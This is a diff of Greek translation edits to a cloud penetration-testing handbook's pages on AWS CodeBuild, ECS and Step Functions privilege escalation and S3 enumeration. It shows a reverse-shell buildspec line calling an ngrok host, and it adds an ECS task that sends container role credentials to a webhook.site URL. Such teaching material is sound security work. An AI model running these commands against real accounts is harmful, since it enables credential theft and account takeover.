diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 1bdfd41b0..de90f96d1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -63,11 +63,11 @@ aws codebuild start-build-batch --project --buildspec-override fi - `StartBuild` ενεργοποιεί μια μοναδική εργασία κατασκευής χρησιμοποιώντας ένα συγκεκριμένο `buildspec.yml`. - `StartBuildBatch` σας επιτρέπει να ξεκινήσετε μια παρτίδα κατασκευών, με πιο σύνθετες ρυθμίσεις (όπως η εκτέλεση πολλών κατασκευών παράλληλα). -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων στις συνημμένες ρόλους AWS Codebuild. +**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για την απόκτηση δικαιωμάτων σε συσχετισμένους ρόλους AWS Codebuild. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Ένας επιτιθέμενος με τα δικαιώματα **`iam:PassRole`, `codebuild:CreateProject`, και `codebuild:StartBuild` ή `codebuild:StartBuildBatch`** θα μπορούσε να **αναβαθμίσει τα δικαιώματα σε οποιονδήποτε ρόλο IAM του codebuild** δημιουργώντας έναν εκτελούμενο. +Ένας επιτιθέμενος με τα δικαιώματα **`iam:PassRole`, `codebuild:CreateProject`, και `codebuild:StartBuild` ή `codebuild:StartBuildBatch`** θα μπορούσε να **ανεβάσει δικαιώματα σε οποιονδήποτε ρόλο IAM του codebuild** δημιουργώντας έναν εκτελούμενο. {{#tabs }} {{#tab name="Example1" }} @@ -214,11 +214,11 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` -**Πιθανές Επιπτώσεις:** Άμεσο privesc σε οποιονδήποτε ρόλο AWS Codebuild. +**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε οποιονδήποτε ρόλο AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -302,9 +302,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Έχοντας **αρκετά δικαιώματα για να ξεκινήσει μια συνεδρία ssm**, είναι δυνατόν να αποκτήσετε **πρόσβαση σε ένα έργο Codebuild** που κατασκευάζεται. +Έχοντας **αρκετά δικαιώματα για να ξεκινήσει μια συνεδρία ssm**, είναι δυνατόν να μπείτε **μέσα σε ένα έργο Codebuild** που κατασκευάζεται. -Το έργο codebuild θα πρέπει να έχει ένα σημείο διακοπής: +Το έργο codebuild θα χρειαστεί να έχει ένα σημείο διακοπής:
phases:
 pre_build:
@@ -323,9 +323,9 @@ aws ssm start-session --target  --region 
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια διαδικασία build ενός συγκεκριμένου έργου CodeBuild που αποθηκεύει το αρχείο `buildspec.yml` σε ένα S3 bucket στο οποίο ο επιτιθέμενος έχει δικαιώματα εγγραφής, μπορεί να αποκτήσει εκτέλεση εντολών στη διαδικασία CodeBuild.
+Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια κατασκευή ενός συγκεκριμένου έργου CodeBuild που αποθηκεύει το αρχείο `buildspec.yml` σε ένα S3 bucket στο οποίο έχει δικαίωμα εγγραφής, μπορεί να αποκτήσει εκτέλεση εντολών στη διαδικασία CodeBuild.
 
-Σημείωση: η κλιμάκωση είναι σχετική μόνο αν ο εργάτης CodeBuild έχει διαφορετικό ρόλο, ελπίζουμε πιο προνομιακό, από αυτόν του επιτιθέμενου.
+Σημείωση: η κλιμάκωση είναι σχετική μόνο αν ο εργαζόμενος CodeBuild έχει διαφορετικό ρόλο, ελπίζουμε πιο προνομιούχο, από αυτόν του επιτιθέμενου.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -351,12 +351,12 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Impact:** Άμεση εκμετάλλευση δικαιωμάτων στον ρόλο που χρησιμοποιείται από τον εργαζόμενο AWS CodeBuild που συνήθως έχει υψηλά δικαιώματα.
+**Impact:** Άμεση εκμετάλλευση δικαιωμάτων στον ρόλο που χρησιμοποιείται από τον AWS CodeBuild worker που συνήθως έχει υψηλά δικαιώματα.
 
 > [!WARNING]
 > Σημειώστε ότι το buildspec θα μπορούσε να αναμένεται σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαστεί να κατεβάσει, να αποσυμπιέσει, να τροποποιήσει το `buildspec.yml` από τον ριζικό κατάλογο, να συμπιέσει ξανά και να ανεβάσει.
 
-Περισσότερες λεπτομέρειες θα μπορούσαν να βρεθούν [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
+Περισσότερες λεπτομέρειες μπορούν να βρεθούν [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
 **Potential Impact:** Άμεση εκμετάλλευση δικαιωμάτων στους συνημμένους ρόλους AWS Codebuild.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index c281f8681..65d6b50cb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -12,7 +12,10 @@
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Ένας επιτιθέμενος που εκμεταλλεύεται την άδεια `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` στο ECS μπορεί να **δημιουργήσει έναν νέο ορισμό εργασίας** με ένα **κακόβουλο κοντέινερ** που κλέβει τα διαπιστευτήρια μεταδεδομένων και **να το εκτελέσει**.
+Ένας επιτιθέμενος που εκμεταλλεύεται την άδεια `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` στο ECS μπορεί να **δημιουργήσει μια νέα ορισμό εργασίας** με ένα **κακόβουλο κοντέινερ** που κλέβει τα διαπιστευτήρια μεταδεδομένων και **να το εκτελέσει**.
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+Δημιουργήστε ένα webhook με μια ιστοσελίδα όπως το webhook.site
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
 **Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε διαφορετικό ρόλο ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
@@ -53,11 +96,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Πιθανές Επιπτώσεις:** Άμεσο privesc σε οποιοδήποτε ρόλο ECS.
+**Πιθανές Επιπτώσεις:** Άμεσο privesc σε οποιονδήποτε ρόλο ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
-Ακριβώς όπως στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** δικαιώματα στο ECS μπορεί να **δημιουργήσει μια νέα ορισμό εργασίας** με ένα **κακόβουλο κοντέινερ** που κλέβει τα διαπιστευτήρια μεταδεδομένων και **να το εκτελέσει δημιουργώντας μια νέα υπηρεσία με τουλάχιστον 1 εργασία σε εκτέλεση.**
+Ακριβώς όπως στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** στο ECS μπορεί να **δημιουργήσει μια νέα ορισμό εργασίας** με ένα **κακόβουλο κοντέινερ** που κλέβει τα διαπιστευτήρια μεταδεδομένων και **να το εκτελέσει δημιουργώντας μια νέα υπηρεσία με τουλάχιστον 1 εργασία σε εκτέλεση.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -80,11 +123,11 @@ aws ecs update-service --cluster  \
 --service  \
 --task-definition 
 ```
-**Πιθανές Επιπτώσεις:** Άμεσο privesc σε οποιοδήποτε ρόλο ECS.
+**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε οποιονδήποτε ρόλο ECS.
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-Στην πραγματικότητα, μόνο με αυτές τις άδειες είναι δυνατόν να χρησιμοποιηθούν παρακάμψεις για την εκτέλεση αυθαίρετων εντολών σε ένα κοντέινερ με έναν αυθαίρετο ρόλο με κάτι όπως:
+Στην πραγματικότητα, μόνο με αυτές τις άδειες είναι δυνατόν να χρησιμοποιηθούν παρακάμψεις για την εκτέλεση αυθαίρετων εντολών σε ένα κοντέινερ με έναν αυθαίρετο ρόλο με κάτι σαν:
 ```bash
 aws ecs run-task \
 --task-definition "" \
@@ -98,10 +141,10 @@ aws ecs run-task \
 
 Αυτό το σενάριο είναι παρόμοιο με τα προηγούμενα αλλά **χωρίς** την άδεια **`iam:PassRole`**.\
 Αυτό είναι ακόμα ενδιαφέρον γιατί αν μπορείτε να εκτελέσετε ένα αυθαίρετο κοντέινερ, ακόμα και αν είναι χωρίς ρόλο, θα μπορούσατε **να εκτελέσετε ένα προνομιούχο κοντέινερ για να διαφύγετε** στο κόμβο και **να κλέψετε τον ρόλο IAM EC2** και τους **άλλους ρόλους κοντέινερ ECS** που εκτελούνται στον κόμβο.\
-Θα μπορούσατε ακόμα **να αναγκάσετε άλλες εργασίες να εκτελούνται μέσα στην EC2 παρουσία** που έχετε παραβιάσει για να κλέψετε τα διαπιστευτήριά τους (όπως συζητήθηκε στην [**Ενότητα Privesc προς κόμβο**](aws-ecs-privesc.md#privesc-to-node)).
+Μπορείτε ακόμα **να αναγκάσετε άλλες εργασίες να εκτελούνται μέσα στην EC2 instance** που έχετε παραβιάσει για να κλέψετε τα διαπιστευτήριά τους (όπως συζητήθηκε στην [**Ενότητα Privesc προς κόμβο**](aws-ecs-privesc.md#privesc-to-node)).
 
 > [!WARNING]
-> Αυτή η επίθεση είναι δυνατή μόνο αν ο **ECS κλάδος χρησιμοποιεί EC2** παρουσίες και όχι Fargate.
+> Αυτή η επίθεση είναι δυνατή μόνο αν ο **ECS cluster χρησιμοποιεί EC2** instances και όχι Fargate.
 ```bash
 printf '[
 {
@@ -144,7 +187,7 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Ένας επιτιθέμενος με το **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα τρέχον κοντέινερ και να εξάγει τον IAM ρόλο που είναι συνδεδεμένος σε αυτό (χρειάζεστε τα δικαιώματα περιγραφής γιατί είναι απαραίτητο να εκτελέσετε το `aws ecs execute-command`).\
+Ένας επιτιθέμενος με τα **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα τρέχον κοντέινερ και να εξάγει τον IAM ρόλο που είναι συνδεδεμένος σε αυτό (χρειάζεστε τις άδειες περιγραφής γιατί είναι απαραίτητο να εκτελέσετε το `aws ecs execute-command`).\
 Ωστόσο, για να το κάνετε αυτό, η παρουσία κοντέινερ πρέπει να εκτελεί τον **ExecuteCommand agent** (ο οποίος από προεπιλογή δεν είναι).
 
 Επομένως, ο επιτιθέμενος θα μπορούσε να προσπαθήσει να:
@@ -172,13 +215,13 @@ aws ecs execute-command --interactive \
 - Αν έχει **`ecs:CreateService`**, δημιουργήστε μια υπηρεσία με `aws ecs create-service --enable-execute-command [...]`
 - Αν έχει **`ecs:UpdateService`**, ενημερώστε μια υπηρεσία με `aws ecs update-service --enable-execute-command [...]`
 
-Μπορείτε να βρείτε **παραδείγματα αυτών των επιλογών** στις **προηγούμενες ενότητες privesc του ECS**.
+Μπορείτε να βρείτε **παραδείγματα αυτών των επιλογών** σε **προηγούμενες ενότητες privesc ECS**.
 
 **Πιθανές Επιπτώσεις:** Privesc σε διαφορετικό ρόλο που συνδέεται με τα κοντέινερ.
 
 ### `ssm:StartSession`
 
-Ελέγξτε στη **σελίδα privesc του ssm** πώς μπορείτε να εκμεταλλευτείτε αυτή την άδεια για **privesc στο ECS**:
+Ελέγξτε στη **σελίδα privesc ssm** πώς μπορείτε να εκμεταλλευτείτε αυτή την άδεια για **privesc σε ECS**:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -186,7 +229,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Ελέγξτε στη **σελίδα privesc του ec2** πώς μπορείτε να εκμεταλλευτείτε αυτές τις άδειες για **privesc στο ECS**:
+Ελέγξτε στη **σελίδα privesc ec2** πώς μπορείτε να εκμεταλλευτείτε αυτές τις άδειες για **privesc σε ECS**:
 
 {{#ref}}
 aws-ec2-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index adf5b592b..4eded8a6f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -25,11 +25,11 @@
 
 ### `states:TestState` & `iam:PassRole`
 
-Ένας επιτιθέμενος με τα δικαιώματα **`states:TestState`** & **`iam:PassRole`** μπορεί να δοκιμάσει οποιαδήποτε κατάσταση και να περάσει οποιονδήποτε ρόλο IAM σε αυτήν χωρίς να δημιουργήσει ή να ενημερώσει μια υπάρχουσα μηχανή κατάστασης, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τα δικαιώματα των ρόλων. Συνδυασμένα, αυτά τα δικαιώματα μπορούν να οδηγήσουν σε εκτενείς μη εξουσιοδοτημένες ενέργειες, από την παραποίηση ροών εργασίας για την τροποποίηση δεδομένων έως παραβιάσεις δεδομένων, παραποίηση πόρων και εκμετάλλευση προνομίων.
+Ένας επιτιθέμενος με τα δικαιώματα **`states:TestState`** & **`iam:PassRole`** μπορεί να δοκιμάσει οποιαδήποτε κατάσταση και να περάσει οποιονδήποτε ρόλο IAM σε αυτήν χωρίς να δημιουργήσει ή να ενημερώσει μια υπάρχουσα μηχανή κατάστασης, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τα δικαιώματα των ρόλων. Συνδυασμένα, αυτά τα δικαιώματα μπορούν να οδηγήσουν σε εκτενείς μη εξουσιοδοτημένες ενέργειες, από την παραποίηση ροών εργασίας για την τροποποίηση δεδομένων έως παραβιάσεις δεδομένων, παραποίηση πόρων και εκμετάλλευση προνομίων.
 ```bash
 aws states test-state --definition  --role-arn  [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
 ```
-Τα παρακάτω παραδείγματα δείχνουν πώς να δοκιμάσετε μια κατάσταση που δημιουργεί ένα access key για τον χρήστη **`admin`** εκμεταλλευόμενος αυτές τις άδειες και έναν επιτρεπτικό ρόλο του περιβάλλοντος AWS. Αυτός ο επιτρεπτικός ρόλος θα πρέπει να έχει οποιαδήποτε πολιτική υψηλών προνομίων συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στην κατάσταση να εκτελεί την ενέργεια **`iam:CreateAccessKey`**:
+Τα παρακάτω παραδείγματα δείχνουν πώς να δοκιμάσετε μια κατάσταση που δημιουργεί ένα access key για τον χρήστη **`admin`** εκμεταλλευόμενοι αυτές τις άδειες και έναν επιτρεπτικό ρόλο του περιβάλλοντος AWS. Αυτός ο επιτρεπτικός ρόλος θα πρέπει να έχει οποιαδήποτε πολιτική υψηλών προνομίων συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στην κατάσταση να εκτελεί την ενέργεια **`iam:CreateAccessKey`**:
 
 - **stateDefinition.json**:
 ```json
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-Ένας επιτιθέμενος με τα **`states:CreateStateMachine`**& **`iam:PassRole`** θα μπορούσε να δημιουργήσει μια μηχανή κατάστασης και να της παρέχει οποιονδήποτε ρόλο IAM, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τις άδειες του ρόλου. Σε αντίθεση με την προηγούμενη τεχνική privesc (**`states:TestState`** & **`iam:PassRole`**), αυτή δεν εκτελείται από μόνη της, θα χρειαστεί επίσης να έχετε τις άδειες **`states:StartExecution`** ή **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **δεν είναι διαθέσιμη για τυπικές ροές εργασίας**, **μόνο για μηχανές κατάστασης έκφρασης**) προκειμένου να ξεκινήσετε μια εκτέλεση πάνω στη μηχανή κατάστασης.
+Ένας επιτιθέμενος με τα **`states:CreateStateMachine`**& **`iam:PassRole`** θα μπορούσε να δημιουργήσει μια μηχανή κατάστασης και να της παρέχει οποιονδήποτε ρόλο IAM, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τις άδειες του ρόλου. Σε αντίθεση με την προηγούμενη τεχνική privesc (**`states:TestState`** & **`iam:PassRole`**), αυτή δεν εκτελείται από μόνη της, θα χρειαστεί επίσης να έχετε τις άδειες **`states:StartExecution`** ή **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **δεν είναι διαθέσιμη για τυπικές ροές εργασίας**, **μόνο για εκφρασμένες μηχανές καταστάσεων**) προκειμένου να ξεκινήσετε και να εκτελέσετε τη μηχανή κατάστασης.
 ```bash
 # Create a state machine
 aws states create-state-machine --name  --definition  --role-arn  [--type ] [--logging-configuration ]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn  [--name ] [--input
 # Start a Synchronous Express state machine execution
 aws states start-sync-execution --state-machine-arn  [--name ] [--input ] [--trace-header ]
 ```
-Τα παρακάτω παραδείγματα δείχνουν πώς να δημιουργήσετε μια μηχανή καταστάσεων που δημιουργεί ένα access key για τον χρήστη **`admin`** και εξάγει αυτό το access key σε ένα S3 bucket που ελέγχεται από τον επιτιθέμενο, εκμεταλλευόμενος αυτές τις άδειες και έναν επιτρεπτικό ρόλο του περιβάλλοντος AWS. Αυτός ο επιτρεπτικός ρόλος θα πρέπει να έχει οποιαδήποτε πολιτική υψηλών προνομίων συνδεδεμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στη μηχανή καταστάσεων να εκτελεί τις ενέργειες **`iam:CreateAccessKey`** & **`s3:putObject`**.
+Τα παρακάτω παραδείγματα δείχνουν πώς να δημιουργήσετε μια μηχανή κατάστασης που δημιουργεί ένα access key για τον χρήστη **`admin`** και εξάγει αυτό το access key σε ένα S3 bucket που ελέγχεται από τον επιτιθέμενο, εκμεταλλευόμενος αυτές τις άδειες και έναν επιεική ρόλο του περιβάλλοντος AWS. Αυτός ο επιεικής ρόλος θα πρέπει να έχει οποιαδήποτε πολιτική υψηλών προνομίων συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στη μηχανή κατάστασης να εκτελεί τις ενέργειες **`iam:CreateAccessKey`** & **`s3:putObject`**.
 
 - **stateMachineDefinition.json**:
 ```json
@@ -132,7 +132,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 }
 ```
 > [!WARNING]
-> Ο S3 κάδος που ελέγχεται από τον επιτιθέμενο θα πρέπει να έχει δικαιώματα να αποδέχεται μια ενέργεια s3:PutObject από τον λογαριασμό του θύματος.
+> Ο S3 κάδος που ελέγχεται από τον επιτιθέμενο θα πρέπει να έχει άδειες για να αποδέχεται μια ενέργεια s3:PutObject από τον λογαριασμό του θύματος.
 
 **Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη εκτέλεση και χειρισμός ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, που μπορεί να οδηγήσει σε σημαντικές παραβιάσεις ασφάλειας.
 
@@ -142,7 +142,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 
 Ανάλογα με το πόσο επιτρεπτικός είναι ο IAM Ρόλος που σχετίζεται με τη μηχανή καταστάσεων, ένας επιτιθέμενος θα αντιμετωπίσει 2 καταστάσεις:
 
-1. **Επιτρεπτικός IAM Ρόλος**: Εάν ο IAM Ρόλος που σχετίζεται με τη μηχανή καταστάσεων είναι ήδη επιτρεπτικός (έχει για παράδειγμα την πολιτική **`arn:aws:iam::aws:policy/AdministratorAccess`** συνημμένη), τότε η άδεια **`iam:PassRole`** δεν θα απαιτείται προκειμένου να κλιμακωθούν τα προνόμια, καθώς δεν θα είναι απαραίτητο να ενημερωθεί και ο IAM Ρόλος, με τον ορισμό της μηχανής καταστάσεων είναι αρκετός.
+1. **Επιτρεπτικός IAM Ρόλος**: Εάν ο IAM Ρόλος που σχετίζεται με τη μηχανή καταστάσεων είναι ήδη επιτρεπτικός (έχει για παράδειγμα την πολιτική **`arn:aws:iam::aws:policy/AdministratorAccess`** συνημμένη), τότε η άδεια **`iam:PassRole`** δεν θα απαιτείται για να κλιμακωθούν τα προνόμια, καθώς δεν θα είναι απαραίτητο να ενημερωθεί και ο IAM Ρόλος, με τον ορισμό της μηχανής καταστάσεων να είναι αρκετός.
 2. **Μη επιτρεπτικός IAM Ρόλος**: Σε αντίθεση με την προηγούμενη περίπτωση, εδώ ένας επιτιθέμενος θα απαιτήσει επίσης την άδεια **`iam:PassRole`** καθώς θα είναι απαραίτητο να συσχετιστεί ένας επιτρεπτικός IAM Ρόλος με τη μηχανή καταστάσεων εκτός από την τροποποίηση του ορισμού της μηχανής καταστάσεων.
 ```bash
 aws states update-state-machine --state-machine-arn  [--definition ] [--role-arn ] [--logging-configuration ] \
@@ -218,7 +218,7 @@ aws states update-state-machine --state-machine-arn  [--definition 
-#### Ληστεία S3 Κάδων +#### Ληστεία Κάδων S3 Δεδομένων των ανοιχτών κάδων S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) μπορεί αυτόματα να **αναζητήσει ενδιαφέροντα πληροφορίες**. @@ -104,7 +104,7 @@ Non-authoritative answer: #### Δοκιμάζοντας -Αν προσπαθήσετε να αποκτήσετε πρόσβαση σε έναν κάδο, αλλά στο **όνομα τομέα καθορίζετε άλλη περιοχή** (για παράδειγμα, ο κάδος είναι στο `bucket.s3.amazonaws.com` αλλά προσπαθείτε να αποκτήσετε πρόσβαση στο `bucket.s3-website-us-west-2.amazonaws.com`, τότε θα σας **υποδειχθεί η σωστή τοποθεσία**: +Αν προσπαθήσετε να αποκτήσετε πρόσβαση σε έναν κάδο, αλλά στο **όνομα τομέα καθορίσετε άλλη περιοχή** (για παράδειγμα, ο κάδος είναι στο `bucket.s3.amazonaws.com` αλλά προσπαθείτε να αποκτήσετε πρόσβαση στο `bucket.s3-website-us-west-2.amazonaws.com`, τότε θα σας **υποδειχθεί η σωστή τοποθεσία**: ![](<../../../images/image (106).png>) @@ -136,7 +136,7 @@ https://{user_provided}.s3.amazonaws.com ``` ### Λάβετε το ID λογαριασμού από δημόσιο Bucket -Είναι δυνατόν να προσδιορίσετε έναν λογαριασμό AWS εκμεταλλευόμενοι το νέο **`S3:ResourceAccount`** **Policy Condition Key**. Αυτή η συνθήκη **περιορίζει την πρόσβαση με βάση το S3 bucket** στο οποίο βρίσκεται ένας λογαριασμός (άλλες πολιτικές που βασίζονται σε λογαριασμούς περιορίζουν με βάση τον λογαριασμό στον οποίο βρίσκεται ο αιτών κύριος).\ +Είναι δυνατόν να προσδιορίσετε έναν λογαριασμό AWS εκμεταλλευόμενοι το νέο **`S3:ResourceAccount`** **Κλειδί Συνθήκης Πολιτικής**. Αυτή η συνθήκη **περιορίζει την πρόσβαση με βάση το S3 bucket** στο οποίο βρίσκεται ένας λογαριασμός (άλλες πολιτικές που βασίζονται σε λογαριασμούς περιορίζουν με βάση τον λογαριασμό στον οποίο βρίσκεται ο αιτών κύριος).\ Και επειδή η πολιτική μπορεί να περιέχει **wildcards**, είναι δυνατόν να βρείτε τον αριθμό του λογαριασμού **μόνο έναν αριθμό τη φορά**. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία: @@ -161,11 +161,11 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -Αν το σφάλμα είναι “Access Denied” σημαίνει ότι το ID του λογαριασμού ήταν λάθος. +Αν το σφάλμα είναι "Access Denied", σημαίνει ότι το ID του λογαριασμού ήταν λάθος. ### Χρησιμοποιούμενα Emails για την αρίθμηση λογαριασμού root -Όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), είναι δυνατόν να ελέγξετε αν μια διεύθυνση email σχετίζεται με οποιονδήποτε λογαριασμό AWS προσπαθώντας να **παραχωρήσετε άδειες σε μια διεύθυνση email** σε ένα S3 bucket μέσω ACLs. Αν αυτό δεν προκαλέσει σφάλμα, σημαίνει ότι το email είναι χρήστης root κάποιου λογαριασμού AWS: +Όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), είναι δυνατόν να ελέγξετε αν μια διεύθυνση email σχετίζεται με οποιονδήποτε λογαριασμό AWS προσπαθώντας να **παραχωρήσετε άδειες σε μια διεύθυνση email** μέσω ACLs σε ένα S3 bucket. Αν αυτό δεν προκαλέσει σφάλμα, σημαίνει ότι το email είναι χρήστης root κάποιου λογαριασμού AWS: ```python s3_client.put_bucket_acl( Bucket=bucket_name,